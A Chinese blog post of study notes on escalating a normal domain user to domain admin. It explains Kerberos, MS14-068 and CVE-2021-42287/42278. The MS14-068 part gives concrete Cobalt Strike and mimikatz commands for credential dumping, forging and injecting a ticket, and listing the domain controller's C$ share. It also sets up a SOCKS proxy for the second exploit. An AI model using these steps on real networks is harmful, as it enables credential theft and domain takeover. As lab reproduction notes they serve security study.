前言:域内提权就是把普通域用户提权到域管用户
首先先通过web打到域内机器,先获取一个普通的域内成员用户,
执行
shell ipconfig/all
可以看到,该用户为域内用户,再执行命令,发现所在组为domain users中,进而确定为域内普通用户
shell net user wz /domain
一.MS14-068漏洞
a.kerberos原理
-
AS_REQ: client向KDC的AS请求AS_REQ,请求时带上自己的凭据:client的hash加密的时间戳以及其他一些信息
-
AS_REP: AS收到信息,去询问AD是否有这个用户,有就拿出NTLM-hash对AS_REQ请求中加密的时间戳进行解密,解密成功,就会返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含client的sid,client所在的组
-
TGS_REQ: Client凭借TGT票据向KDC中的TGS发起针对特定服务的TGS_REQ请求
-
TGS_REP: TGS使用krbtgt hash解密,结果正确,返回 Server hash加密的TGS票据(这一步没有验证client有没有访问服务的权限,只要TGT正确,就返回TGS票据)
-
AP_REQ: Client拿着TGS票据去请求服务
-
AP_REP: server使用自身的hash解密TGS。解密成功,server会拿着PAC去询问DC,该用户是否具有访问权限,DC拿到PAC后解密,获取client的sid以及所在的组信息,再根据该服务的ACL,判断client是否具有访问server的权限。通过认证后server 将返回最终的AP_REP并与client建立通信 (有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)
b.漏洞原理
1.向KDC下的AS发送一个不带PAC的AS_REQ
2.AS返回你一个不带PAC的TGT
3.制作一个管理员组权限的PAC,和TGT一起装在TGS_REQ中发给KDC下的TGS
4.TGS误识别了你伪造的信息,并发给你发给你一个管理员权限的包含PAC的ST
5.拿到之后向server发送,server没有验证,从而可以访问服务
c.拿到域用户的密码
cs上线后,先进行提权 获取到system权限,再用cs自带的logonpasswords获取密码
再ping域名得到域控ip
d.制作tgt
https://github.com/ianxtianxt/MS14-068
将上述exe传入,再执行命令,制作tgt
shell MS14-068.exe -u [email protected] -s S-1-5-18 -p wz1314521. -d 192.168.111.127
#-u 用户名@域
#-s suid 可以命令whoami/all查看suid
#-p 密码
#-d 域控ip
e.将tgt注入到内存中
1.查看票据
shell klist
2.用cs自带猕猴桃清除票据,再次查看票据,已经被清除
mimikatz kerberos::purge
3.将制作的票据注入
mimikatz kerberos::ptc [email protected]
4.验证访问域控C盘
shell dir \\WIN-JRNFB3UCVUD\C$
出现这个样子说明该机器没有这个漏洞,微软已经修复过了,但是漏洞复现没有问题,但是要理解漏洞原理,如果复现过程有问题,则会显示拒绝访问
二.cve-2021-42287/42278
1.漏洞简介
42287:微软规定一台机器的机器账号名以$结尾,但又没有做验证,所以一台机器叫dc的话,可以创建有着机器账户属性的dc账户
44278:用dc账户向AS申请TGT票据后,然后去向TGS申请ST,在申请ST的时候删除dc这个账户,那么KDC在验证时就查不到dc这个账户,进而查到dc$这个账户,于是就将ST颁给dc¥这个账户
2.漏洞利用
因为要使用python脚本,又怕靶机上没依赖,但是外边机器又连不到靶机,所以在cs上把他代理出来,进行python脚本的使用
socks 1080 socks5
因为cs服务端在kali上,所以代理端口在kali上开启,kali上配置好代理,尝试扫描445端口,扫描成功则成功配置
a.获取域用户密码,同上述一样
b.运行脚本,进行提权
标签:TGS,TGT,REQ,笔记,client,学习,提权,PAC,票据 From: https://blog.csdn.net/m0_74326506/article/details/140254496